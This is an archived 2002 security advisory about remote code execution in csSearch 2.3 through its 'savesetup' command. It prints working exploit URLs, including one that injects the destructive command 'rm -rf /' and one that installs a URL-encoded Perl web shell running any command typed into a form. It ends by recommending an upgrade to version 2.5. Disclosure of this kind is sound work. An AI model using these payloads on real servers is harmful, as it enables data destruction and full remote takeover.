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TUCoPS :: Web :: Apps :: web5212.htm

csSearch.cgi remote code execution



27th Mar 2002 [SBWID-5212]
COMMAND

	csSearch.cgi remote code execution

SYSTEMS AFFECTED

	csSearch 2.3

PROBLEM

	Steve Gustin posted :
	

	Configuration data is saved with the following URL. Note that  any  perl
	code would need to be URL encoded.
	

	csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

	

	For example, the classic \"rm -rf /\" example would be as follows:
	

	csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

	

	Here\'s something a little more interesting,  less  than  300  bytes  of
	code that turns csSearch into a remote web shell of sorts.
	

	*ShowSearchForm = *Login = sub {

	  print \"<form method=post action=csSearch.cgi>Enter

	Command (eg: ls -l)<br>\";

	  print \"<input type=text name=cmd size=99> \";

	  print \"<input type=submit value=Execute><hr><xmp>\";

	  $in{\'cmd\'} && print `$in{\'cmd\'} 2>&1`;

	  exit;

	  };

	

	URL Encoded as:
	

	csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print\"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Command+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>\";$in{\'cmd\'}%26%26print`$in{\'cmd\'}+2>%261`;exit;};

	

	

SOLUTION

	Upgrade to csSearch 2.5


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